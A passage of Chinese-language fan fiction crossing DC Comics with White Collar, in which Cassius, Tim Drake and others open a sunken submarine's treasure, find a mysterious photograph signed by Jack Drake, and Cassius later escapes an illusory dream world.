几人将自己的视线重新投向潜艇舱门上的炸药和那个德式打字机。 爱丽克丝回想了一番祖父让自己背下的故事，深吸一口气，说道：“密码是一个希腊神话故事，一个老国王，因为沉迷点金术，最终毁了自己的故事，是……” “迈达斯。” 提姆和爱丽克丝同时说。 爱丽克点头：“是，就是迈达斯。” 提姆打算输入密码了：“你也先撤出去。” 他对卡修斯说。 卡修斯摇了摇头：“不，该撤出去的是你才是，我才是执意要找到宝藏的人。” “那我们就一起吧。”提姆说。 卡修斯点了点头。 提姆将手放在打字机上，一个个敲下了映射的字母：【MIDAS】 只听咔嚓一声，潜艇的舱门终于打开了。 “我就知道不会有事的。”卡修斯笑着看着提姆。 站在远处的三人也大大松了口气，立即朝着潜艇的入口处跑来。 卡修斯和提姆率先下去。 潜艇内部和卡修斯想象的金碧辉煌并不相同，里面层层叠叠地摞着一个又一个灰突突的木箱，整个潜艇内部散发出一股木头腐朽的味道。 卡修斯被巨大的失落裹挟了，这麽多箱子，他到底要怎麽找到想要的？ 提姆看到他失望的表情，关心道：“怎麽了？” 莫兹和爱丽克丝也跟着达米安下来了，他们撬开一个箱子，露出了里面精美的银器。 他们对视一眼，眼神里透露着兴奋，还有激动。 卡修斯没说话，他环顾了众多箱子一圈，忽然被里面一个最小的没有装箱，而是简简单单被一块油纸包着的小盒子吸引了，他快步走过去，三两下把油纸打开，露出一个造型颇为现代的盒子。 这下，连提姆也惊讶起来，因为这个盒子看上去就像是韦恩庄园常用来装东西的盒子。 卡修斯把盒子打开，里面是一张被相框小心裱好的照片。 提姆的眼睛瞪大了，他失声道：“这是……！” 第88章 《画马蹄莲的男孩》 卡修斯手中的照片像一块烧红的烙铁，烫得他指尖发颤。 照片上的场景前不久他才刚刚从自己的梦境中重温过，就是那个芝加哥博物馆的展厅，阳光透过玻璃穹顶洒落，一个黑发少年正背对着镜头，专注地临摹着一幅画着马蹄莲的画。而照片的角落，一个模糊的身影正侧头看向临摹画作的男孩——那个身影正是卡修斯。 “这不可能……”卡修斯喃喃地说。 提姆拿起照片，眉头紧锁。他也认出了照片上的人，不是卡修斯，而是正在临摹画作的那个人，是他自己。 这幅幅画作的临摹品如今正挂在韦恩医疗所属的一家疗养院的VIP病房里，也就是卡修斯曾经住过的那间。他记得当初两人还针对那幅画聊过两句。 他曾经以为那是自己小时候时候学画画的时候，和画室的老师同学一起去芝加哥博物馆，自己临摹的。但现在看来完全不是这样。因为照片上画画的那个人就是现在的自己——他不可能连自己的背影都认不出。 他将相框小心地拆开，果然在照片的右下角发现一个小小的签名：【J.D】 “J.D……杰克·德雷克（Jack Drake）？”提姆的指尖轻轻擦过那个签名，眼里除了疑惑，还有怀念。“这的确是我父亲的摄影风格。” 卡修斯感觉自己的脑子现在一团乱，完全没办法思考。他不能理解为什麽自己记忆中的场景会出现在这个世界的照片中，更无法理解它为什麽会出现在一个距今已经有六七十年历史的德国潜艇里。 提姆看到卡修斯异常的反应，又将照片反过来仔细观察了一阵，指着角落那个同样只有背影的人说：“这是你？” 卡修斯没有做出任何回应，他不知道。这不应该是他——这个时候的他明明还在自己的世界。 提姆的目光在照片和卡修斯之间来回移动，他斟酌了一下，才压低声音问道：“你之前说过，你来自另一个宇宙。” 卡修斯僵硬地点了点头。 提姆已经将相框背面重新装好，放回盒子里，又用油纸包好，恢复成它原来的样子。他本想将盒子自己收好，卡修斯忽然开口了：“提姆，这个东西，你能不能把它给我？” 如果这是其他东西，卡修斯甚至都不用问对方，但这张照片有提姆父亲的签名，而且看提姆的反应，他应该也是第一次看到这张照片。如果这真的是杰克留下的东西，那这张照片相当于提姆父亲的遗物，他又怎麽能毫无顾忌地将它夺走？ “我可以帮你调查。”提姆的声音很轻，但卡修斯明白他是什麽意思。 这张照片的存在，说明卡修斯的世界和这个世界之间确实存在某种联系。 进入潜艇的另外三人并没有太在意提姆和卡修斯的举动。此刻他们正被找到宝藏的巨大喜悦包围，正在木箱之间慢慢走动，时不时地打开一个箱子，看看里面是什麽。这一船的宝藏里，除了一些各国的金银器，古董，还有就是一些本以为在战争中遗失的名家画作。莫兹和爱丽克丝都是顶级鉴定师，只翻看了几样，就差不多能估算出这批宝藏价值百亿美金。 达米安的表情臭臭的，很显然，他对分给对方三成财富的决定非常后悔，但他的尊严不允许他出尔反尔。 “你们两个，猫在那儿干什麽呢？快过来帮我清点一下财务！”达米安高声叫道。 卡修斯没有回应达米安，他执拗地盯着提姆。 文森特说这批宝藏里有打开时空之门的钥匙，不知道为什麽，卡修斯有强烈的预感，他觉得文森特说的就是这张照片——他说的“钥匙”只是个代称，并不是真的钥匙，而是专门指向一件和时空有关的东西。 提姆和他对视了一会儿，最终还是将盒子递给了卡修斯。 “你藏好，别让达米安看到了。”他小声说。 卡修斯收起盒子，深深呼出一口气，然后调整了一下情绪，才再次看向提姆：“谢谢你。” 提姆拍了拍他的后背，示意两人一起去找达米安。 现在不是考虑这个问题的时候，他们得先处理眼前的宝藏。 “先把东西搬出去。”提姆低声说，“其他的……等安全了再讨论。” 卡修斯点了点头，默认了他的提议。 提姆停下来，用双手捏着他两颊，稍微往上提了提：“嘿，高兴点，你想要做的事不是都做成了吗？事情正在往好的方向发展。” “你知道……” 卡修斯犹豫着，开口问道。 提姆垂着眼露出一个浅笑：“我只知道，你总不是专门为了这里的宝藏来的。” 听他这麽说，卡修斯也笑了：“说不定我就是单纯为了宝藏来的呢？那个小男孩没做过寻宝的白日梦？” 卡修斯感受着照片所在的盒子隔着衣物贴着他的身体，感觉自己的心跳又轻又快地敲打着盒子。 先不管这张照片是怎麽出现在几十年前的潜艇上的，但这张照片能跨越时空出现在这里，那是否意味着，他真的还是有机会回去的？ 他不想去思考原本应该在不同时空出现的他和提姆，竟然出现在同一个画面中的合理性，人类的大脑会自动过滤对自己不利的信息，卡修斯现在就想到很多种可能性，比如说这个背影并不是他，只是自己记错了，又或者，也许自己所在的时空，真的也有一个提姆·德雷克，只是另一个提姆·德雷克和自己一样，是个普通人，他也许比其他小孩更聪明一些，但他绝不会是什麽义警。 达米安在一边已经非常不满了，东西太多，如果一箱箱清点的话，可能好几天都清点不完。 “我们要将这些东西全部带走，等清点完毕后，再联系你们，你们也好提前准备好车辆，带走属于你们的三成。” 达米安对着莫兹和爱丽克丝，快速说道。 两人惊讶的对视一眼，很明显对这个提议有意见，他们这种人，只有把财宝放进自己的口袋才会彻底放心。 达米安明显看出了两人的顾虑，他哼了一声，道：“作为最伟大的刺客联盟的继承人，我绝不会欺骗自己的盟友。” 卡修斯也收敛了心神，将注意力聚焦在目前最紧急的事上。 “确实，现在尼尔还在FBI接受调查，彼特·博克一定会密切关注他的行踪，你们现在带着这些东西离开，很容易暴露。”他也顺着达米安说道。 莫兹和爱丽克丝走到远处的角落，低声商量了一阵，最终还是同意了达米安的要求。 如果达米安真的不想兑现承诺的话，那麽现在直接把他们杀了都行，没必要这麽大费周折，而且他们能这麽快找到这些东西，确实是因为一直是卡修斯在提供线索。 “莫兹，我还有重要的事请教你，别担心，我会再联系你们的。”卡修斯温和地说道。 莫兹点了点头：“好吧。尼尔还在FBI，我得回去等他。” 说着，他搓了搓手，将不能当场带走宝藏的失落抛在脑后：“等他知道我们真的找到了宝藏，绝对也会高兴疯的。” “所以，你们最好管住自己的嘴，如果让我听到任何关于今晚的风声……” “放心，我们很擅长保守秘密。”爱丽克丝打断他，语气也很诚恳，“尤其是关乎性命的秘密。” 而且作为盗贼，没有谁比她更懂得财不露白的道理。 三人送走了莫兹和爱丽克丝，达米安才转过身看着提姆和卡修斯，伸出手说：“拿出来吧？” “什麽”提姆还在装傻。 达米安白他一眼：“你们不会以为我没看到你们偷偷摸摸藏了东西吧？” 提姆坚决不承认。 卡修斯倒是直接从怀里将那个盒子拿了出来，镇定地说：“你确实是看错了，我们没拿潜艇上的东西，这是刚才提姆送给我留作纪念的。” 达米安接过盒子，拿在手上观察了几眼，好像确实是韦恩庄园的盒子。 不过他不太相信是自己看错了，他怀疑地看了两人一眼，又打开盒子，看到里面是一张很普通的照片。 他将相框拿出来看了看，又瞄了提姆一眼：“这是你小的时候？” 提姆点了点头。 “看上去不太聪明的样子。”达米安皱着脸评价。 “还挺可爱的。”卡修斯听到达米安在心里这样说。 本来有些燥郁的心情忽然就被达米安的心声给治愈了。 “干活的时候专心点，不要分心。我们争取天亮之前把这些东西先运回哥谭。”达米安瞪了两人一眼，将照片重新装回盒子，扔给了卡修斯。 提姆轻扫了一眼，装作不甚在意的转身看了一圈周围的箱子，大概估算了一下这些东西的体积，直接说道：“目标太大，运回哥谭太危险。” 尤其是现在杰森还带着纽约的警方满城转。 “那你说放哪儿？”达米安不耐烦地问。 “泰坦塔。”提姆干脆地说，“少年泰坦的基地，距离这里很近，安全性和隐蔽性也都是最好的。” 达米安的表情瞬间扭曲了：“不行，你想独吞刺客联盟的财产？” “是‘暂时保管’。”提姆纠正道，“而且严格来说，这些东西是通过卡修斯的线索找到的，也不算是刺客联盟的财产吧，咱们是不是也该问一下卡修斯的意见？” 达米安倨傲地说：“吱吱是我的，他找到的东西当然也是属于我。” 卡修斯刚想举手表达一下自己是自由的，不属于任何人，就听到潜艇的舱门处有动静，三人立即警惕的看过去，杰森直接从舱门处跳下来，稳稳落在箱子上。 “你的活干完了？”达米安挑剔地问道。 “少指挥我。”说着，他咧嘴一笑，撬开手边的箱子，顺手捞起里面一根长得跟权杖似的东西掂了掂，“不错，纯度挺高。” 提姆将他手里的权杖拿走，重新放进箱子。 “这是埃及法老王的权杖，别用这麽平庸的词语来评价它，会让我产生下一刻你就会把它熔了做金砖的错觉。”提姆说。 “嘁，你当我傻子吗？”杰森白了他一眼。 说完，他自己都觉得诧异，至少三天前，他都不敢相信自己居然还能这麽心平气和的跟这个替代品说话。 “好像也没有特别聪明的亚子。”卡修斯在心里默默吐槽。 杰森瞪了他一眼，不想搭理他，随意反手撑着箱顶，坐在了另一个箱子上。 达米安立即拔刀：“滚下去，陶德！” 杰森无视他的威胁，直接说：“我倒是有个办法把这些东西神不知鬼不觉的全部帮你们弄回哥谭。” 达米安眯着眼问：“什麽办法？” “哥刚好有一艘科技含量很高的宇宙飞船，它的隐形模式是地球科技的雷达探测不到的那种。怎麽样？”杰森得意地说。 “你有什麽要求。”达米安眯着眼问。 “三成。”杰森竖起三根手指。 “休想！”达米安怒吼。 卡修斯有点无语。还有谁记得，这些东西，理论上应该都是他的？ “给我三成，我保证能把全部的这些东西都给你藏的连氪星人都找不到。”杰森还在游说，不过现在他倒是直接对着卡修斯说的，看上去好像挺认可这批宝藏最终的归属人。 “还是说，难道你们真的希望布鲁斯知道这些东西的存在？”他反问。 提姆呵了一声：“你也太小瞧布鲁斯了，他说不定早就知道了。” 不过这倒是提醒了提姆，他将手机拿出来看了一眼，仍然是只有韦恩庄园的未接来电，还有一条阿尔弗雷德让他回电的消息。 “你有接到B的通信吗？”提姆抬头问达米安。 达米安也是只接到韦恩庄园的通信，不过等他看到的时候，已经是未接来电了。他再次检查了一番自己的通信器：“父亲没联系我。” “如果B已经知道了我们这边的事，绝不会只让阿尔弗雷德打电话。”提姆一边说，一边拨通了韦恩庄园的号码，并且将接听模式设成了扬声器模式。 电话接通，阿尔弗雷德的声音很快传来：“提摩西少爷，感谢您终于回电。” “阿尔弗，布鲁斯呢？”提姆直接问。 “老爷目前去了瞭望塔。”阿尔弗雷德的语气依旧平稳，但语速比平时稍快，“因为事出突然，老爷接到消息后直接通过蝙蝠洞的泽塔信道离开，我是按照老爷之前留下的预案来操作的，我也是查看你们各自的定位系统，才知道你们此刻都不在哥谭，那麽你们在纽约的事处理完了吗？” 几人对视一眼，对瞭望塔发生的让布鲁斯连任务都来不及布置就匆匆离开的事有些担心，同时也很感激阿尔弗雷德没有追问他们都在纽约做什麽。 “差不多了，这就能回来。”提姆回答道。 “发生什麽事了？父亲为什麽走的这麽匆忙？”达米安直接问道。 虽然他和布鲁斯相处的时间还不长，但这些日子也足以让他了解他的父亲是个多麽喜欢制定计划的人，极少让自己陷入毫无准备的境地。 “等你们回来，我再向各位少爷详细说明吧，对了，芭芭拉小姐现在也在韦恩庄园，卡珊德拉小姐也订了最近的机票回到哥谭。” 挂掉电话，所有人的表情都变得凝重起来。 现在谁也没心情继续商量财宝的划分和归属，几人快速敲定，先用法外者的飞船将东西放在泰坦塔，然后直接通过那里的泽塔信道回到哥谭。 “我自己坐飞船走，就不去体验你们那个什麽鬼信道了。”杰森一脸不屑地说。 “你不跟我们回韦恩庄园？”提姆问。 “呵，对你们来说，那是‘回’，请不要用这个词形容我和韦恩庄园的关系。”杰森冷声说道。 卡修斯看出杰森其实也很想知道到底发生了什麽事，只是目前他还有点偶像包袱，可能必须得给个台阶才能顺着下去。 卡修斯很愿意当这个台阶，立即说道：“那你们直接在韦恩庄园汇合吧。刚才在路上，你不是还跟我提起阿尔弗雷德的小甜饼麽。” 杰森斜睨了卡修斯一眼。只要不跟他谈感情，其实卡修斯是个非常适合做朋友的人，非常会照顾别人的情绪。 关于那天晚上发生的事，他已经不在意了。真要是放不下的话，也不会达米安叫一声，他就毫无芥蒂地来帮他们。现在他忽然觉得，也许自己喜欢上的只是当初和卡修斯互相扶持，相依为命的感觉，而不是非要得到他这个人。要不然自己又怎麽会这麽快就释怀？ “你都不去，我去干什麽？”杰森冷哼。 “我……” 你们是一家人，还都是义警，我一没被韦恩收养过，二不是义警，我去干什麽？ 他在心里默默吐槽。 眼看杰森眉毛越挑越高，看上去非常想要逐字反驳的样子，提姆适时地说： “一起去吧，如果真的是很严重的事，说不定你还能给我们提供一些消息或者经验。” 卡修斯知道，他的意思是，万一布鲁斯遇到的事也是他的宇宙发生过的事，他可以提供一些有用的信息。 他想了想，这个可以有，于是点点头，答应了。 几人按照计划好的，分头行动，杰森调用罗伊和星火，直接把飞船停到了码头，不到半个小时，潜艇内部的宝藏就被全部搬空。 达米安刑讯完文森特后，并没有杀他，而是将他丢在了最近的警局门口，相信彼特·博克很快会把人带走。到时就算他们知道了潜艇的事，最多也只能找到一艘空潜艇，不会再有任何宝藏。 当然，潜艇肯定不能停泊在属于韦恩的码头。提姆和卡修斯将潜艇舱门复原，杰森让飞船利用牵引光束重新将潜艇丢回了当初将他捞起来的地方。 做完这一切，几人不再耽搁，直奔泰坦塔。 等到他们回到韦恩庄园的时候，天色已经开始泛青。 阿尔弗雷德将几人迎进门，就注意到了大家的黑眼圈，好在他早已经非常体贴的为大家煮了一大壶红茶。 几人在桌前坐定，看着阿尔弗雷德不算轻松的表情，提姆心里也有些忐忑。 “阿尔弗，正义联盟出什麽事了？” 管家叹了口气：“我知道的也不多，布鲁斯老爷只非常简要的概括了一下现在的事态，就直接离开了。我紧急召你们回来，是觉得现在外面不是很安全，而且哥谭的罪犯们都敏锐极了，越是这种时候，他们越会生出事端，所以直到布鲁斯回来前，你们的‘轮班制’要取消了，加上卡珊小姐，一人负责一块局域夜巡。” 说着，阿尔弗雷德微妙地停顿了一下，他的目光投向提姆：“还有，斯蒂芬尼小姐，不日也将回归。” 提姆猛地站起来，连椅子都被他突然的动作带的倒在了地上：“你说什麽？！” 阿尔弗雷德冷静地说：“这个消息原本应该是由老爷亲自告诉你的，但事发突然，他离开的很匆忙，所以只能由我来代劳。我也是刚刚知道这个消息。我不赞同老爷的做法，但还没来得及发表意见，等他回到庄园，相信他会给大家一个合理的解释。” 杰森双臂环胸，直接问道：“所以到底发生了什麽事，阿尔弗，直说吧。” 阿尔弗雷德停顿了一会儿，像是在考虑到底要不要把布鲁斯提到的情况告诉他们。 卡修斯看到还站着的提姆，悄悄握住了他攥成拳头的手，用手指一下一下轻轻摩挲着他的手背，想要给他一些安抚。 同时他也盯着阿尔弗，印象里管家通常都是有话直说的，现在这麽犹豫，很显然是遇到了布鲁斯不太想让大家知道，但阿尔弗又觉得不应该隐瞒的事。 第89章 在这里，你将享受造物主的权柄。 阿尔弗雷德的目光在众人脸上扫过，然后缓缓说道：“根据布鲁斯老爷离开前留下的信息，正义联盟正在处理一起极其严重的事件——一位新神被杀害了。” “什麽？”几人异口同声道。 卡修斯先是困惑了一下，还在想“新神”是什麽，阿尔弗雷德就接着说：“我听到通信里，这位死去的新神好像叫作奥利安，斯图尔特先生在调查这件事时受伤昏迷，守护者们派了新的绿灯来调查这件事……” 卡修斯愣住了，所有的线索好像都在此刻被慢慢拼拢。阿尔弗雷德还在继续介绍当前的情况：“蝙蝠侠认为这起谋杀背后隐藏着更大的阴谋。更糟糕的是，能和整个联盟创建精神连接信道的琼恩先生已经失联许久……” 卡修斯还在心里默默祈祷千万不要是他想的那件事要开始了，听到阿尔弗雷德忽然提起琼恩的名字，他猛地抬头：“等一下，琼恩？”他的声音发紧。 阿尔弗雷德立即用锐利的眼神看向了他。 卡修斯这才想起，今天小乔也对他提起过这个名字，只是当时自己的注意力并不在那里。 现在想来，他当时就应该想起来的。 “火星猎人？”卡修斯问道。 所有人的目光都看向卡修斯。阿尔弗雷德点了点头：“是的，正义联盟全员出动查找他，但目前毫无线索。” 卡修斯的呼吸开始变得急促，他的手无意识地捏住还在口袋里的盒子，盒子边缘的金属棱角深深陷入掌心。 布鲁德海文失踪的孩子，星球日报发生的爆炸…… 这两个线索本该让他立刻意识到发生了什麽。 “希尔先生？您有什麽线索吗？”阿尔弗雷德听到了他的心声，立即意识到，也许卡修斯真的知道什麽。 卡修斯想要告诉他们接下来会发生的事，可他的呼吸再次变得困难起来。 他的双手猛地攥住阿尔弗雷德的小臂，脸色变得惨白，整个人都有些站不住地往下滑。 站在他旁边的提姆一把扶住了他。杰森也叫了一声，三步并作两步走过来要扶他。 卡修斯脸色惨白，他努力张了张嘴，却发不出任何声音。 “快，叫布鲁斯回来，新来的绿灯侠——克拉肯，已经被慈祥奶奶控制了！布鲁德海文失踪的孩子也被反生命方程式控制了。火星猎人在秘密会的手里，快去救他！再晚就来不及了！” 他在心里疯狂大喊。阿尔弗雷德的脸色也变了，他用力反握住卡修斯的手臂：“布鲁斯老爷会有危险吗？” 情急之下，他都不再使用代号。 卡修斯想到，在之后的剧情中，毫无防备的蝙蝠侠会被“克拉肯”俘虏，被抽离灵魂。他想要将这个消息通过心声的方式传递给阿尔弗雷德，但对方明显没有听到他后来的这段话，有些焦急地回应道：“你说什麽？抱歉我没听清……” 卡修斯已经有些听不到外面在说什麽了，只听到好几个声音在自己耳边： “别再想了，呼吸！” “阿尔弗，打电话给莱斯利……” “希尔先生，请坚持住……” “你们到底在说什麽？吱吱怎麽了？！” 他记起来了，阿尔弗之所以能听到自己的前一段话，是因为那是已经发生的事，听不到自己最后一句，是因为这件事还没发生。 没发生就好，这就代表还来得及。他死死掐着自己手中能握住的物体，用尽最后的力气，嘶声开口道：“叫布鲁斯回来，有危险，达克赛德……” 刚说出这个名字，他的脑子“嗡”一声，像是被一柄大榔头重重锤了一下。 “卡修斯？！”提姆扶住他忽然彻底失去控制的身体。 卡修斯的视线逐渐模糊，最后的意识中，他听到阿尔弗雷德焦急的呼喊，达米安的大叫，以及杰森的咒骂。 然后，他就彻底失去了意识。 * 也不知道过了多久，卡修斯艰难地睁开眼睛。 刺眼的光透过舷窗照在他的脸上。是他旁边的乘客打开了遮光板。 他茫然地环顾四周——狭窄的座椅，折叠桌板，前排座椅后背的航空杂志——他正在一架飞机上，而且此刻飞机正在经历剧烈的颠簸。 飞机？他怎麽在飞机上？睡着前他在哪里来着？ 飞机忽然开始剧烈颠簸起来。 卡修斯的心中一紧，他看着窗外突然变黑的天色，心中升起一种不好的预感。就好像自己曾经经历过这一切，这架飞机注定飞不到目的地。 “女士们先生们，我们的飞机遇到了电磁暴，请系好安全带，不要离开座位……”空乘的声音从广播里传来。 卡修斯立即紧张起来。 “我们现在到哪儿了？”卡修斯突然紧张地抓住身边人的胳膊问。 旁边的人被他吓了一跳，但看到卡修斯吓到嘴唇都泛白的样子，以为他没怎麽坐过飞机，被这阵颠簸给吓到了，于是友善地说：“别担心，只是正常的颠簸而已，等一会儿就会好……” 没想到卡修斯的声音突然变得歇斯底里起来：“我们现在在哪儿？” “……呃，大概在冰岛上空？”那人挣脱被攥住的手，往旁边坐了点，不再跟卡修斯搭话。 卡修斯不知道自己在害怕什麽，但却控制不住地开始忍不住地颤抖，旁边的人被他异常的表现也弄的有些害怕，立即按了好几下调用按钮，叫空乘过来。 “他有点不对劲，别是有什麽精神疾病吧。” 卡修斯听到身边的人用非常小的声音凑在空乘的耳边，像是害怕被他这个当事人听到，当场犯病似的。 了解情况后，空乘半蹲在走廊，开始耐心安抚卡修斯。 就在卡修斯想要将飞机会失事的消息脱口而出的时候，持续了好长时间的颠簸突然消失了。 卡修斯愣住了：“怎麽会这样？怎麽会没事？” 旁边的人觉得自己碰到了神经病，居然还有盼着自己出事的。他叽里咕噜地骂了一串脏话，然后翻了翻眼睛，不再理他。 空乘又和卡修斯说了一会儿话，见卡修斯的情绪好像恢复了，在确认没有其他需求后，也站起来走了。 卡修斯又对着窗外发了会儿呆，直到空乘广播再次播报，他们已经飞离了冰岛上空，卡修斯才揉了揉太阳xue，总觉得哪里不对劲。 他感觉自己好像做了个梦，但梦里具体的人物和场景，又像沙子一样，从自己大脑的沟壑中流掉了。 卡修斯觉得自己座椅旁边好像有什麽东西，拿出来一看，是一本漫画书——《红罗宾》。 卡修斯觉得有点奇怪，自己上飞机前带这本书了？他有点不记得了。 “我这是要去哪儿？”他低声自语。 旁边的人听到他的话，忍不住哼了一声：“哥们儿，你这胆子也太小了吧，吓的连自己要去哪儿都不记得了？这是飞往纽约的啊。” 好像是的，他确实是飞去纽约，但他是去纽约干什麽来着？怎麽有点想不起来了？ 纽约，他不是刚从纽约回去麽？回……回哪儿？ 飞机降落后，卡修斯拖着行李站在肯尼迪机场的出口处，继续努力回忆自己来纽约的目的。 工作，看望父亲，还是别的什麽？ “卡修斯！这边，” 一个熟悉的男声打断了他的思绪。 卡修斯转头，看到接机区站着一个穿深蓝色西装的英俊男人正冲他挥手。 对方见他愣住，笑着走过来：“怎麽，不认识我了？” 卡修斯盯着他看了好几秒，才迟疑道：“尼尔·卡夫瑞？” “谢天谢地，你总算是想起我的名字了。”他松了口气，本打算顺手接过他的行李箱，但卡修斯侧身躲了一下，他也没坚持。 “你叔叔说你还在恢复期，记忆有些混乱，看来是真的。” “我叔叔？” “是啊，他的展会需要一个艺术品鉴定师，最近我就是在忙这个。”尼尔点了点头，接着说道，“还是你介绍我们认识的，连这个你也忘了吗？” 卡修斯的表情更困惑了。他叔叔是谁？还有，什麽叫“他还在恢复期？” 他的心里明明想着的是这两个问题，但脱口而出问的却是：“你不是FBI的顾问吗？” 尼尔笑了笑：“我和FBI的合同早就结束了啊，我现在是自由人了。而且，在博克太太的帮助下，我开了家专门做艺术品鉴定的工作室。” 卡修斯没再说话，他坐进尼尔的车，他看着窗外飞速后退的城市景观，心不在焉地和尼尔有一搭没一搭地聊着天。 他总觉得好像有什麽地方不对，应该是忘了什麽非常重要的东西。 “我们……是怎麽认识的？”卡修斯忽然问。 他只知道对方叫尼尔·卡夫瑞，但看对方的样子，两人之间的关系应该是特别好的。 尼尔从后视镜中看了他一眼，笑道：“你连这个都忘了，我可太伤心了。几年前，我们在哥谭的酒吧打工认识的。” “哥谭？”卡修斯猛地坐直了，“你是说哥谭市？有蝙蝠侠的那个？” “不，哥谭不是漫画里的城市吗？是你疯了还是我疯了？这不会是什麽整蛊节目吧？”卡修斯的语气有点激动。 “又来了……你第一次遇到我的时候，还说我是电视剧里的人物呢。”尼尔从后视镜中无奈地朝他翻了翻眼睛。 “哥谭就是哥谭，只不过那里可没有什麽蝙蝠侠，倒是那里的漫展，很多人喜欢COS托马斯和玛莎，专门在蝙蝠侠的COSER面前倒地而亡。” 尼尔一边说一边笑。 卡修斯觉得这可一点都不好笑。 不对，这一切都不对。 哥谭是漫画里的城市，怎麽可能真实存在？ 除非—— “我出过什麽意外？”卡修斯怀疑地问。 尼尔犹豫了一下：“你叔叔没详细说，只听他的员工隐约提起，你好像被绑架过，后来因为应激创伤，记忆受损。” 卡修斯没继续问。主要是他的疑问太多了，而尼尔对待他的态度又太正常，正常到他真的怀疑其实是自己有点不正常。 尼尔带他来到曼哈顿一栋豪华公寓的顶层。推开门的那一刻，那种熟悉感再次击中了他。 宽敞的客厅、几乎落地的窗外，漂亮的哈德逊河景，甚至水吧上摆放着的豪华的咖啡机，都让他觉得自己不是第一次来到这里。 “这是哪儿？”卡修斯问。 “嗯？你叔叔说，每次你来纽约都住在这儿的呀。”尼尔皱眉，“你的失忆症真的严重到这种程度了吗？” 卡修斯没回答，他像梦游一样在房间里转了一圈。 “这儿就我一个人住？”他问。 尼尔想了想：“据说是这样的。” 卡修斯又开始摆弄客厅的投影仪，一打开机器，他发现幕布上显现的是某部影片的片尾工作人员字幕。 他将进度条调回去看了一眼，是《闻香识女人》。 不知道为什麽，卡修斯竟然对这一幕并不觉得奇怪，好像自己默认上一部看过的影片就是这个。 尼尔看他神色有些恍惚，主动去水吧，打算帮他接一杯水。 卡修斯看了眼自己随身的行李，决定还是先看看自己都带了些什麽，说不定看到里面的东西以后，会有什麽新的发现呢？ 他先将自己随身的背包打开，里面是自己下飞机之前放进去的那本漫画。 他将书随手放在茶几上，然后继续检查。 背包里的东西很简单，护照，钱包，雨伞，钥匙…… 他在背包的最下面，摸到一个硬物——凭触感判断，应该是个小盒子。 卡修斯完全不记得自己的背包里为什麽会有一个盒子。 盒子的造型很简单，看上去像是一个随处都能买到的东西，但盒子的角落里有一个非常小的刻痕。 卡修斯仔细看了看，上面刻着两个字母——W.E 他完全不记得这个盒子是什麽时候放进去的。他小心翼翼地打开它，里面是一张旧照片：这应该是一个艺术或者博物馆的展厅，阳光透过窗户，正照射在一个黑发少年的后背上，他正在专注地临摹自己面前的画作，而照片的角落还有一个模糊的身影正在看着画画的少年。 卡修斯一眼就认出，那个模糊的身影正是自己。 他翻过相框，将底部拆了下来。 卡修斯不知道自己在找什麽，但他知道，这张照片后面应该有些什麽的。 果然，拆掉相框后面的支撑部分，白色的相纸背部露了出来，那里的角落，写着一行小字【J.D】 卡修斯知道，这是拍下这张照片的作者的签名。 在签名的下面，还写着一行字。 【T.D和C.H，他们终将相遇。】 这一行小字和它上面的签名明显是两种笔迹，而且，这行字看上去更新一些，像是刚刚写上去不久。 T.D，提姆……德雷克？ 这个名字像是一把钥匙，瞬间撬开了他记忆的闸门。 卡洛琳。希尔。 黑邦火拼。 拉尔斯。奥。古。 命运纺车。 刺客联盟。 猫头鹰法庭。 潜艇宝藏…… 所有的画面如洪水般涌入脑海，卡修斯跪倒在地，发出一声痛苦的呻·吟。 “你怎麽了？”尼尔冲过来扶住他。 卡修斯抬起头，他看着尼尔，说：“你不是真的。” “你在说什麽啊？”尼尔困惑地看着他。 “我说，你不是真的，这里的一切都不是真的！” 他甩开尼尔的手，后退了几步，整个人靠在了窗户上。 “这个世界是假的，你也是假的。我要离开这里。”卡修斯握紧了手中的照片。 他记起了一切，他在韦恩庄园，阿尔弗雷德向众人解释了当下正义联盟在发生的事，而他也终于想起危机的前兆。他说出达克赛德的名字想要提醒大家，之后就失去了意识。 提姆，韦恩庄园，哥谭，还有那里的整个世界不知道怎麽样了，他必须回去看看。 “看来你的精神状态真的很不好。”尼尔担忧的看着他。 卡修斯指着远处一座隐约可见的高塔：“那是什麽建筑？” 尼尔顺着他的手指看过去：“威尔逊大厦，怎麽了？” 卡修斯摇了摇头：“不，那里是泰坦塔，不久前我们才拿到的财宝就在那里，我不可能连这个也会记错。莫兹，爱丽克丝，还有你，你们的那份也在泰坦塔，难道你不想和我一起去看看吗？” 尼尔沉默了。 “没有什麽宝藏，那都是你的妄想。” 卡修斯再次捏紧手里的照片：“你才是。” 尼尔许久没回他。 过了一会儿，才再一次慢慢开口： “那里有什麽好？” 他收敛了原本轻松随意的表情，看着卡修斯，冷淡地说：“你在那个世界受了那麽多苦，留在这里不好吗？” 卡修斯摇了摇头。 “只要你愿意，这里也可以是真实的世界。在这里，你可以重塑你失去的一切，你不是一直想要离开那个世界吗？”尼尔微笑着，一步步靠近卡修斯。 “这里有你曾经的家人，朋友，有你怀念的一切，唯独没有超级英雄，也不会有超级罪犯。最重要的是，在这里，再也不会有人听到你在想什麽，你也不用再想方设法躲任何人。” 尼尔继续说。 “别再过来了。” 卡修斯随手将餐桌前的椅子举起来，横在自己和尼尔之间。 “要怎麽离开这里？”他坚定地问。 “你离不开，所有被黑暗君主标记的人都离不开。你们会沉迷在自己的记忆制造的世界里，享受着造物主的权柄，直到死亡降临。” 说着，“尼尔”环顾了一下四周，说：“你所看到的一切，都是你潜意识里想要的。你不希望发生空难，于是你的飞机平安落地。” “你这里已经算是世外桃源了，为什麽不留下呢？在这里，你就是世界的主人，你要做什麽，世界意识都会支持你。” “但我永远不会沉迷在虚假的权柄里。” 卡修斯坚定地说。 他一只手松开凳子，另一只抓住窗把手，试图开窗。但窗户纹丝不动。 “你打不开的。”面前的人温和地说。 “你不是说这里的一切都顺着我的意愿发生吗？为什麽打不开？”卡修斯问。 “因为你想寻死。”尼尔说。 “我只是在想办法回去。”卡修斯说。 “在这里，死了就真的什麽都没有了。没有拉撒路池，你再也没机会重新活过来。” 尼尔的语气里带着一丝淡淡的恐吓。 “那正合我意。” 说着，卡修斯冲着尼尔笑了笑。 他举起椅子，狠狠砸向落地窗。 玻璃碎裂的瞬间，整个世界的天空也如同镜面般产生裂痕。 他一脚踩上窗台，半个身体都悬在了窗外。 尼尔不往前走了。 “即便你跳下去，也回不去，只会迎来真正意义上的死亡。” 尼尔冷冷地说。 “那就试试吧。”卡修斯将照片按在自己胸口，“对了，真正的尼尔·卡夫瑞才不会做出你这样的表情。你OOC啦！” 说着，他毫不犹豫地向后倒去。 